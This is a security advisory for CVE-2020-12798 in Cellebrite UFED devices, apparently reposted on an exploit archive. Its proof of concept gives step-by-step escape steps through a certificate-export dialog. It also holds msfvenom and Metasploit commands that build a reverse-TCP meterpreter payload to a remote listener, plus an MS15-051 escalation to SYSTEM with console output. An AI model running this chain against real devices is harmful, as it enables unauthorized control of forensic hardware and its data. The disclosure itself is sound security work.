Cellebrite UFED 7.5.0.845 Desktop Escape / Privilege Escalation

Authored by Matthew Bergin | Site korelogic.com

Posted May 14, 2020

Cellebrite UFED device implements local operating system policies that can be circumvented to obtain a command prompt. From there privilege escalation is possible using public exploits. Versions 5.0 through 7.5.0.845 are affected.

tags | exploit, local
advisories | CVE-2020-12798
SHA-256 | 202a3e49b06ab6981d9b3b6aaf73e839d47d6ee0fd59c7be3f7bd017a0f6dd70 **Download** | **Favorite** | **View**

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
KL-001-2020-002 : Cellebrite Restricted Desktop Escape and Escalation of User Privilege

Title: Cellebrite Restricted Desktop Escape and Escalation of User Privilege
Advisory ID: KL-001-2020-002
Publication Date: 2020.05.14
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2020-002.txt


1. Vulnerability Details

     Affected Vendor: Cellebrite
     Affected Product: UFED
     Affected Version: 5.0 - 7.5.0.845
     Platform: Embedded Windows
     CWE Classification: CWE-269: Improper Privilege Management,
                         CWE-20: Input Validation Error
     CVE ID: CVE-2020-12798


2. Vulnerability Description

     Cellebrite UFED device implements local operating system
     policies that can be circumvented to obtain a command
     prompt. From there privilege escalation is possible using
     public exploits.


3. Technical Description

     The Cellebrite UFED device implements local operating system
     policies which are designed to limit access to operating system
     functionality. These include but may not be limited to:

     1. Preventing access to dialog such as Run, File Browser,
     and Explorer.

     and

     2. Preventing access to process and application management tools
     such as Task Manager and the Control Panel.

     These policies can be circumvented by using functionality
     that is permitted by the policy governing the use of the user
     desktop. A user can leverage the Wireless Network connection
     string to select certificate based authentication, which then
     enables file dialogs that are able to be used to launch a
     command prompt. Following this, privileges can be elevated
     using off the shelf and publicly available exploits relevant
     to the specific Windows version in use.


4. Mitigation and Remediation Recommendation

     The vendor has informed KoreLogic that this vulnerability is
     not present on devices manufactured "at least since 2018." The
     vendor was uncertain of the exact version number that remediated
     this attack vector.


5. Credit

     This vulnerability was discovered by Matt Bergin (@thatguylevel)
     of KoreLogic, Inc.


6. Disclosure Timeline

     2020.03.05 - KoreLogic submits vulnerability details to
                  Cellebrite.
     2020.03.17 - Cellebrite acknowledges receipt and the intention
                  to investigate.
     2020.04.16 - KoreLogic requests an update on the status of the
                  vulnerability report.
     2020.04.19 - Cellebrite responds, notifying KoreLogic that the
                  vulnerable dialog is not available on newer UFED
                  releases. Indicates they will determine when the
                  remediation was introduced.
     2020.05.04 - KoreLogic requests an update from Cellebrite.
     2020.05.05 - Cellebrite responds that they do not have the
                  version number at hand, but does not request
                  delaying public disclosure.
     2020.05.11 - MITRE issues CVE-2020-12798.
     2020.05.12 - 45 business-days have elapsed since the report was
                  submitted to Cellebrite.
     2020.05.14 - KoreLogic public disclosure.


7. Proof of Concept

     Begin by using the msfvenom binary to create a meterpreter
     payload that will initiate a remote connection to a C2. Copy
     the payload to a USB drive. Following this, use the msfconsole
     binary to create a C2 connection handler with the multi/handler
     functionality.

       $ msfvenom -p windows/meterpreter/reverse_tcp -f exe -o payload.exe LHOST=[REDACTED] LPORT=8888
       [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
       [-] No arch selected, selecting arch: x86 from the payload
       No encoder or badchars specified, outputting raw payload
       Payload size: 341 bytes
       Final size of exe file: 73802 bytes
       Saved as: payload.exe
       $ sudo mount -o rw /dev/sda1 a/
       $ sudo cp payload.exe a/
       $ sync
       $ sudo umount a/
       $ msfconsole
       [snip]
       msf5 exploit(multi/handler) > show options

       Module options (exploit/multi/handler):

          Name  Current Setting  Required  Description
          ----  ---------------  --------  -----------


       Payload options (windows/meterpreter/reverse_tcp):

          Name      Current Setting  Required  Description
          ----      ---------------  --------  -----------
          EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
          LHOST     [REDACTED]       yes       The listen address (an interface may be specified)
```

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 154 files
Ubuntu 73 files
LiquidWorm 23 files
Debian 18 files
malvuln 11 files
nu11secur1ty 11 files
Gentoo 9 files
Google Security Research 8 files
T. Weber 4 files
Julien Ahrens 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

```
          LPORT     8888                       yes       The listen port


       Exploit target:

          Id  Name
          --  ----
          0   Wildcard Target


       msf5 exploit(multi/handler) > exploit -j -z
       [*] Exploit running as background job 1.
       [*] Exploit completed, but no session was created.
       [*] Started reverse TCP handler on [REDACTED]:8888

     Now insert the USB drive where payload.exe resides into a
     target Cellebrite device. Next, follow the steps below:

     1. Open the Wireless Network Connection screen by clicking
     on the WiFi icon in the bottom right hand corner of the
     screen. This should be next to the system clock.

     2. Select "Change advanced settings" -- this will bring up a
     screen called Windows Network Connection Properties. Choose
     the Wireless Networks tab.

     3. Under the Preferred networks section, click the Add button
     and then select the Authentication tab. Make sure "Enable IEEE
     802.1x authentication for this network" is enabled.

     4. Under EAP Type, select "Smart Card or other Certificate"
     and then click the Properties button.

     5. Under Trusted Root Certificate Authorities click the
     View Certificate button. This will bring up a screen called
     Certificate, choose the Details tab and click the "Copy to
     File" button. This will bring up a screen called Certificate
     Export Wizard.

     6. Click Next and select any of the available export format
     options. For example, choose the "DER encoded binary X.509"
     option and click next.

     7. Instead of typing out a export path click the Browse
     button to open a file dialog. In the "File Name" box type:
     \WINDOWS\System32\ and under "Save as type" select the "All
     Files (*.*)" option. Hit the enter key.

     8. Locate the cmd.exe file then drag and drop any DLL over
     it. For example, choose the clusapi.dll file located near the
     cmd.exe executable. This will open a Command Prompt screen as
     an unprivileged user.

     9. Type the drive letter to change into the USB drive containing
     the payload.exe file.

       C:\windows\system32>D:
       D:\>payload.exe

     This results in a connection back into Metasploit.

       [*] Sending stage (180291 bytes) to [REDACTED]
       [*] Meterpreter session 2 opened ([REDACTED]:8888 -> [REDACTED]:1041) at 2020-01-29 11:41:05 -0800
       msf5 exploit(multi/handler) > sessions -i 2
       [*] Starting interaction with 2...
       meterpreter > getuid
       Server username: TOUCH-[REDACTED]\Operator

     An exploit for CVE-2015-1701 is loaded up and configured to run
     a local privilege escalation exploit against the unprivileged
     session and SYSTEM is obtained.

       msf5 exploit(windows/local/ms15_051_client_copy_image) > show options

       Module options (exploit/windows/local/ms15_051_client_copy_image):

          Name     Current Setting  Required  Description
          ----     ---------------  --------  -----------
          SESSION                   yes       The session to run this module on.


       Exploit target:

          Id  Name
          --  ----
          0   Windows x86

       msf5 exploit(windows/local/ms15_051_client_copy_image) > set SESSION 2
       SESSION => 2
       msf5 exploit(windows/local/ms15_051_client_copy_image) > set PAYLOAD windows/meterpreter/reverse_tcp
       PAYLOAD => windows/meterpreter/reverse_tcp
       msf5 exploit(windows/local/ms15_051_client_copy_image) > set LPORT 8888
       LPORT => 8888
       msf5 exploit(windows/local/ms15_051_client_copy_image) > set LHOST [REDACTED]
       LHOST => [REDACTED]
       msf5 exploit(windows/local/ms15_051_client_copy_image) > run

       [*] Started reverse TCP handler on [REDACTED]:8888
       [*] Launching notepad to host the exploit...
       [+] Process 3936 launched.
       [*] Reflectively injecting the exploit DLL into 3936...
       [*] Injecting exploit into 3936...
       [*] Exploit injected. Injecting payload into 3936...
       [*] Payload injected. Executing exploit...
       [*] Sending stage (180291 bytes) to [REDACTED]
       [+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
       [*] Meterpreter session 3 opened ([REDACTED]:8888 -> [REDACTED]:1045) at 2020-01-29 11:48:15 -0800

       meterpreter > getuid
       Server username: NT AUTHORITY\SYSTEM
       meterpreter >
```

KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Login or Register to add favorites

Site Links

News by Month
News Tags
Files by Month
File Tags
File Directory

About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

Follow us on Twitter
Subscribe to an RSS Feed

packet storm